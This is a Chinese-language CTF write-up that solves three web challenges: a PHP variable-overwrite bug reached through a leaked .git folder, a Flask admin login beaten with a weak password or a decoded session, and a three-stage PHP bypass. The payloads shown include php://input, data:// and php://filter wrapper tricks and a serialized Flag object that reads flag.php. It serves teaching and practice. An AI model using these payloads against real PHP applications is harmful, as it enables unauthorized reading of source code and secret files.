Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

[BJDCTF2020]Mark loves cat

首页是一个页面,没有什么信息

dirmap扫一下目录,发现存在**.git**泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

这里就是一个很简单的变量覆盖,由于我们可以通过**exit()**函数进行输出,所以这里存在很多种构造方式

这里就一种最简单的

1
?yds=flag

foreach($_GET as $x => $y){$$x = $$y;}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);}

把这两行代码一结合就可很轻松的看到我们需要构造**$yds=$flag**

当我们用get传参传入yds=flag时,**$x=yds $y=flag**

再通过语句**$$x = $$y,即构成$yds=$flag**

其他的可以自己尝试一下,这里就不举例了

[HCTF 2018]admin

这道题要做出来其实很简单

就是很简单的一个弱密码登录admin/123 …进去就试了一次….

但这里有其他方法,我们主要来学一下其他方法的做法

伪造session

这个方法也挺简单的,就是利用脚本伪造admin

这里就贴一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
原理

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞

[ZJCTF 2019]NiZhuanSiWei

题目直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

这里很简单的三层绕过

第一层

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要利用php伪协议

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

1
2
?text=php://input 
Post data=welcome to the zjctf

也可以利用data://text/plain协议绕过

1
Copy?text=data://text/plain,welcome to the zjctf

第二层

1
if(preg_match("/flag/",$file))

一个正则判断 $file不为flag字段

1
include($file)   //useless.php

文件包含,这里我们只需要构造**$file=useless.php**

但这里我们需要把useless.php读取出来

这里我们就用

php://filter协议

1
file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64加密

第三层

base64解码后

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

很基础的一个反序列化

这里都不需要怎么构链子,只需要public $file=flag.php

1
assword=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终exp

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在源码中可以找到flag

评论